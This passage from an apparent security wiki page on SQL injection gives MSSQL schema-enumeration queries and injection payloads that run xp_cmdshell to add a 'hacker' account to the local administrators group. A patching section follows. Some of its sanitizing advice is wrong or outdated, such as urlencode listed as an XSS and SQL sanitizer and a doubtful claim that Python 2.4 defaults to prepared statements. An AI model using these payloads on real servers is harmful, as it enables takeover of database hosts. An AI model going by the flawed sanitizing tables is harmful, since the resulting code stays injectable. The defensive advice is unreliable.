c3el4.png String concatenation is preformed in Microsoft SQL via the + character.

Microsoft SQL schema mapping (unprivileged)

  • Obtaining the first table:
  SELECT top 1 TABLE_NAME FROM (SELECT top 1 TABLE_NAME FROM information_schema.columns WHERE table_catalog=@@DATABASE GROUP BY TABLE_NAME ORDER BY TABLE_NAME DESC) sq 
    GROUP BY TABLE_NAME ORDER BY TABLE_NAME ASC
  • Obtaining the first column:
  SELECT top 1 column_name FROM (SELECT top 1 column_name FROM information_schema.columns WHERE table_catalog=@@DATABASE AND TABLE_NAME='[table_name]' 
    GROUP BY column_name ORDER BY column_name ASC) sq GROUP BY column_name ORDER BY column_name DESC

Privileged microsoft SQL injection

  • Command Execution:
;%0a%0dexec master..xp_cmdshell 'net user hacker hackerpassword /add';--
;%0a%0dexec master..xp_cmdshell 'net localgroup administrators hacker /add';--

SELECT * FROM sysobjects WHERE type='U'

Patching SQL Injection Vulnerabilities

The security analyst says
"Either sanitize the inputs properly, or use prepared statements. Obviously, today's countermeasures for sql injection are easily bypassed."
  • Ruby input sanitizing:
  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | var = HTMLEntities.encode(var,:basic:)
SQL Injection      | String  | MySQL      | var = Mysql.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = PGconn.escape_string(var)
XSS, SQL Injection | Integer | Any        | var = var.to_i
  • PHP input sanitizing:
  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | $var = htmlentities($_GET['var'],ENT_QUOTES);
SQL Injection      | String  | MySQL      | $var = mysql_real_escape_string($_GET['var']);
SQL Injection      | String  | PostgreSQL | $var = pg_escape_string($_GET['var']);
XSS, SQL Injection | Integer | Any        | $var = (int)$_GET['var'];
c3el4.png Python2.4 and newer defaults to using prepared statements. Thus, this table only refers to legacy applications built in python versions < 2.4 that require manual sanitizing.
[Sanitizes For] | [Type] | [Engine] | [Example] 
XSS, SQL Injection | String  | Any        | var = urllib.urlencode(var)
SQL Injection      | String  | MySQL      | var = conn.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = psycopg2.extensions.adapt(var)
XSS, SQL Injection | Integer | Any        | var = int(var)


Protip: Most researchers to date considers the use of prepared statements to be perfectly safe due to the basic differences in query implementations.


Further reading

Related Content:

Related Tools:

External Links:


SQL injection is part of a series on exploitation.
<center>
SQL injection is part of a series on programming.
<center>

</center>

RPU0j.png It is a crime to use techniques or tools on this page against any system without written authorization unless the system in question belongs to you
Retrieved from "http://nets.ec/index.php?title=SQL_injection&oldid=10055"